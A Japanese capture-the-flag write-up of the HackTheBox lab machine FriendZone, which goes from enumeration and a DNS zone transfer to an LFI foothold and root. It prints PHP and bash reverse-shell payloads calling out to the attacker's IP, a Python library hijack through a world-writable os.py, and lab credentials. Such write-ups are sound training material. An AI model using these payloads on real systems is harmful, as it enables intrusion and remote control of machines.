【HackTheBox】FriendZone WriteUp
はじめに
今回はlinux boxのFriendZoneをやっていきます。ドメインをちゃんと調べる必要があり、新しく学ぶことが多かったです。
やること
- ポートスキャン, httpsがfriendzone.redドメインであることがわかります。
- httpを確認します。websiteの中にfriendzoneportal.redという文字列があります。
- httpsも確認します。ソースコードにjsについて書いてあります。
- smbはreadとwriteができるシェアがあります。何かアップロードできるかもしれません。
- smbにパスワード情報がありました。
- digでドメインを調べます。
- 新たに出てきたwebsiteを調べます。
- LFIができることを確認します。
- リバースシェルを取ります (user flag)
- www-dataからfriendに移ります。sql confファイルにパスワードがあります。
- pspyを使ってcron jobが動いているか確認します。
- pythonコードを調べます。何か使えそうなコードやライブラリがないかに注目します。
- pythonライブラリフォルダにwritableなファイルがあります。少し書き換えてrootでshellを送れるようにします。
- kaliマシンでncで待ち受けてcron jobを待ちます。
- 攻略完了です。(root flag)
Enumeration
Nmapポートスキャン
nmap -sC -sV friendzone.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 21:59 EST
Nmap scan report for friendzone.htb (10.129.88.74)
Host is up (0.092s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a96824bc971f1e54a58045e74cd9aaa0 (RSA)
| 256 e5440146ee7abb7ce91acb14999e2b8e (ECDSA)
|_ 256 004e1a4f33e8a0de86a6e42a5f84612b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-title: 404 Not Found
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -40m02s, deviation: 1h09m16s, median: -3s
| smb2-security-mode:
| 311:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-02-25T02:59:46
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2023-02-25T04:59:46+02:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.46 seconds
port 443 friendzone.redと書いてあります。etc/hostsに追加しておきます。
Gobuster http
gobuster dir -u http://friendzone.htb/ --wordlist /usr/share/wordlis
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://friendzone.htb/
[+] Method: GET
[+] Threads: 150
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-li
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
2023/02/24 22:02:14 Starting gobuster in directory enumeration mode
===============================================================
/wordpress (Status: 301) [Size: 320] [--> http://friendzone.htb/wordpress/]
Progress: 141570 / 141709 (99.90%)
===============================================================
2023/02/24 22:03:47 Finished
===============================================================
wordpressがありますね。
Gobuster https
gobuster dir -u https://friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -t 150
with -k option we can skip certification
we would get something like this if we dont skip it.
Error: error on running gobuster: unable to connect to https://friendzone.red/: invalid certificate: x509: certificate has expired or is not yet valid: current time 2023-02-25T07:46:50-05:00 is after 2018-11-04T21:02:30Z
/admin (Status: 301) [Size: 318] [--> https://friendzone.red/admin/]
/js (Status: 301) [Size: 315] [--> https://friendzone.red/js/]
httpsも調べましょう、adminとjsがあります。
FTP port 21
Anonymousでログインできませんでした。
Http port 80
見ていきます。
friendzone.htb/
friendzoneportal.red???
/wordpress
Https port 443
ソースコードを見ます。
/js/js
なにやら文字列が出てきました。
WElMa3JQdG5vYTE2NzczMTE3NzUxNW9IR0ZlUkpp
/admin
Samba port 445
smbmap
smbmap -H friendzone.htb
[+] Guest session IP: friendzone.htb:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))
readonly:general
Read and write:Development
smbclient
smbclient -N -L //friendzone.htb
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
HTB LEGACY
WORKGROUP FRIENDZONE
Development
smbclient -N //friendzone.htb/Development
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Feb 24 22:11:07 2023
.. D 0 Tue Sep 13 10:56:24 2022
3545824 blocks of size 1024. 1622184 blocks available
特に何もありませんでした。
general
smbclient -N //friendzone.htb/general
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 16 15:10:51 2019
.. D 0 Tue Sep 13 10:56:24 2022
creds.txt N 57 Tue Oct 9 19:52:42 2018
3545824 blocks of size 1024. 1622184 blocks available
credsはいいですね。
Creds.txt
cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
Check domain
friendzone.htb
digでドメイン情報を調べます。
dig axfr friendzone.htb @10.129.209.64
; <<>> DiG 9.18.11-2-Debian <<>> axfr friendzone.htb @10.129.209.64
;; global options: +cmd
; Transfer failed.
何もありませんでした。
friendzone.red
他にも調べます。
dig axfr friendzone.red @10.129.88.74
; <<>> DiG 9.18.11-2-Debian <<>> axfr friendzone.red @10.129.88.74
;; global options: +cmd
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 88 msec
;; SERVER: 10.129.88.74#53(10.129.88.74) (TCP)
;; WHEN: Fri Feb 24 22:36:08 EST 2023
;; XFR size: 8 records (messages 1, bytes 289)
たくさん出てきましたね。以下をetc/hostsに追加します。
administrator1.friendzone.red, hr.friendzone.red, uploads.friendzone.red
administrator1.friendzone.red
dig axfr administrator1.friendzone.red @10.129.209.64
; <<>> DiG 9.18.11-2-Debian <<>> axfr administrator1.friendzone.red @10.129.209.64
;; global options: +cmd
; Transfer failed.
特に何もありませんでした。
hr.friendzone.red
dig axfr hr.friendzone.red @10.129.209.64
; <<>> DiG 9.18.11-2-Debian <<>> axfr hr.friendzone.red @10.129.209.64
;; global options: +cmd
; Transfer failed.
特に何もありませんでした。
uploads.friendzone.red
dig axfr uploads.friendzone.red @10.129.209.64
; <<>> DiG 9.18.11-2-Debian <<>> axfr uploads.friendzone.red @10.129.209.64
;; global options: +cmd
; Transfer failed.
特に何もありませんでした。
friendzoneportal.red
dig axfr friendzoneportal.red @10.129.209.64
; <<>> DiG 9.18.11-2-Debian <<>> axfr friendzoneportal.red @10.129.209.64
;; global options: +cmd
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red. 604800 IN AAAA ::1
friendzoneportal.red. 604800 IN NS localhost.
friendzoneportal.red. 604800 IN A 127.0.0.1
admin.friendzoneportal.red. 604800 IN A 127.0.0.1
files.friendzoneportal.red. 604800 IN A 127.0.0.1
imports.friendzoneportal.red. 604800 IN A 127.0.0.1
vpn.friendzoneportal.red. 604800 IN A 127.0.0.1
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 188 msec
;; SERVER: 10.129.209.64#53(10.129.209.64) (TCP)
;; WHEN: Sat Feb 25 07:20:44 EST 2023
;; XFR size: 9 records (messages 1, bytes 309)
いろいろありますね
/etc/hosts
最終的に以下を追加しました。
10.129.209.64 friendzone.htb friendzone.red friendzoneportal.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red admin.friendzoneportal.red files.friendzoneportal.red imports.friendzoneportal.red vpn.friendzoneportal.red
他のサブドメインを調べる
friendzoneportal.red
administrator1.friendzone.red
ログインしてみます
admin:WORKWORKHhallelujah@#
dashboard.php
デフォルトイメージ
デフォルトイメージについて言及されていたのでそれを調べます。
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
timestampがなんだかと下にありますね。
Final Access timestamp is 1677335106
gobuster
再度gobusterします。
gobuster dir -u https://administrator1.friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -t 150
/images
phpも調べます
gobuster dir -u https://administrator1.friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -x php -t 150
/.php (Status: 403) [Size: 309]
/images (Status: 301) [Size: 349] [--> https://administrator1.friendzone.red/images/]
/dashboard.php (Status: 200) [Size: 101]
/login.php (Status: 200) [Size: 7]
/timestamp.php (Status: 200) [Size: 36]
いろいろ出てきました。
hr.friendzone.red
uploads.friendzone.red
admin.friendzoneportal.red
ログインしてみます
admin:WORKWORKHhallelujah@#
files.friendzoneportal.red
404
imports.friendzoneportal.red
404
vpn.friendzoneportal.red
404
Foothold
パラメータを調べる
jpgの名前をいろいろ変えてみます。
view-source:https://administrator1.friendzone.red/dashboard.php?image_id=d.jpg
<img src='images/d.jpg'>
xssが使える
以下のようなものが使えます。
a.jpg'><script>alert('xss')</script>
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg%27%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E
二つ目のパラメータ
以下を見てみます。
//administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
timestamp.phpというファイルの中身をdashboardでは表示しているのでしょうか?
/dashboard.php?image_id=a.jpg&pagename=login
ディレクトリ移動はできるのでしょうか?
他のphpファイルを調べる
uploads.friendzone.red/upload.php
curlしてみます。
curl https://uploads.friendzone.red/upload.php -k
WHAT ARE YOU TRYING TO DO HOOOOOOMAN !
admin.friendzoneportal.red/login.php
curl https://admin.friendzone.red/login.php -k
Redirecting
再度gobuster
gobuster dir -u https://uploads.friendzone.red/ --wordlist /usr/share/wordlists/dirbuster/directory-list-1.0.txt -k -t 150
特に面白いものはありませんでした。
ファイルのアップロード
Filesという名前のshareは/etc/Filesにあるようです。なのでファイルをアップロードした際は、/etc/Development/filesあたりにあるかもしれません。
以下のテストファイルを作成してアップロードします。
<?php echo 'test'; ?>
smbclient -N //friendzone.htb/Development
Try "help" to get a list of possible commands.
smb: \> put test.php
putting file test.php as \test.php (0.0 kb/s) (average 0.0 kb/s)
smb: \> ls
. D 0 Sat Feb 25 09:39:48 2023
.. D 0 Tue Sep 13 10:56:24 2022
test.php A 22 Sat Feb 25 09:39:49 2023
3545824 blocks of size 1024. 1537504 blocks available
このファイルを表示できるか確かめます。
https://administrator1.friendzone.red/dashboard.php?image_id=1.jpg&pagename=/etc/Development/test
表示することができました!
Reverse shell
リバースシェルをアップロードします。
smbclient -N //friendzone.htb/Development
Try "help" to get a list of possible commands.
smb: \> put revshell.php
cli_push returned NT_STATUS_IO_TIMEOUT
大きすぎてダメみたいですね。小さいのを試します。
cat revshell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.26/1234 0>&1'");?>
https://administrator1.friendzone.red/dashboard.php?image_id=1.jpg&pagename=/etc/Development/revshell
nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.209.64] 52178
bash: cannot set terminal process group (750): Inappropriate ioctl for device
bash: no job control in this shell
www-data@FriendZone:/var/www/admin$
www-dataになることができました!
Flag
www-data@FriendZone:/home/friend$ cat user.txt
cat user.txt
Privilege escalation
Enumeration
シェルのアップグレードをします。
python -c 'import pty; pty.spawn("/bin/bash")'
www-data to friend
mysql_data.conf
www-data@FriendZone:/var/www$ cat mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
suでfriendになることができます。sshで入りなおすこともできます。
sudo -l
friend@FriendZone:/var/www$ sudo -l
sudo -l
[sudo] password for friend: Agpyu12!0.213$
Sorry, user friend may not run sudo on FriendZone.
sudo -lはダメみたいですね。
pspy
pspyでcron jobがあるか確かめます。
2023/02/26 05:42:01 CMD: UID=0 PID=9320 | /bin/sh -c /opt/server_admin/reporter.py
2023/02/26 05:42:01 CMD: UID=0 PID=9319 | /bin/sh -c /opt/server_admin/reporter.py
2023/02/26 05:42:01 CMD: UID=0 PID=9318 | /usr/sbin/CRON -f
2023/02/26 05:42:01 CMD: UID=0 PID=9321 | /usr/bin/python /opt/server_admin/reporter.py
2023/02/26 05:42:01 CMD: UID=0 PID=9322 | /bin/bash -c bash -i >& /dev/tcp/10.10.14.26/1234 0>&1
2023/02/26 05:42:01 CMD: UID=0 PID=9323 | /bin/bash -c bash -i >& /dev/tcp/10.10.14.26/1234 0>&1
reporter.pyが走っていることがわかります。reporter.pyになにかを仕込むことができればよさそうです。
python
reporter.pyを見ていきます。
friend@FriendZone:/opt/server_admin$ cat reporter.py
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
触れそうなところはosくらいでしょうか??
friend@FriendZone:/usr/lib/python2.7$ ls -la |grep os
-rwxr-xr-x 1 root root 4635 Apr 16 2018 os2emxpath.py
-rwxr-xr-x 1 root root 4507 Oct 6 2018 os2emxpath.pyc
-rwxrwxrwx 1 root root 25910 Jan 15 2019 os.py
-rw-rw-r-- 1 friend friend 25583 Jan 15 2019 os.pyc
-rwxr-xr-x 1 root root 19100 Apr 16 2018 _osx_support.py
-rwxr-xr-x 1 root root 11720 Oct 6 2018 _osx_support.pyc
-rwxr-xr-x 1 root root 8003 Apr 16 2018 posixfile.py
-rwxr-xr-x 1 root root 7628 Oct 6 2018 posixfile.pyc
-rwxr-xr-x 1 root root 13935 Apr 16 2018 posixpath.py
-rwxr-xr-x 1 root root 11385 Oct 6 2018 posixpath.pyc
os.pyに書き込みが許されていますね
特権昇格
os.pyの最後に文章を追加します。
...
try:
_copy_reg.pickle(statvfs_result, _pickle_statvfs_result,
_make_statvfs_result)
except NameError: # statvfs_result may not exist
pass
------------------------以下を追加-----------------------------
import os
os.system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.26/1234 0>&1'")
kaliでリッスンします。
nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.26] from (UNKNOWN) [10.129.209.64] 52496
bash: cannot set terminal process group (4972): Inappropriate ioctl for device
bash: no job control in this shell
root@FriendZone:~#
ルート権限が取れました!あとはフラグを提出しておしまいです!
Discussion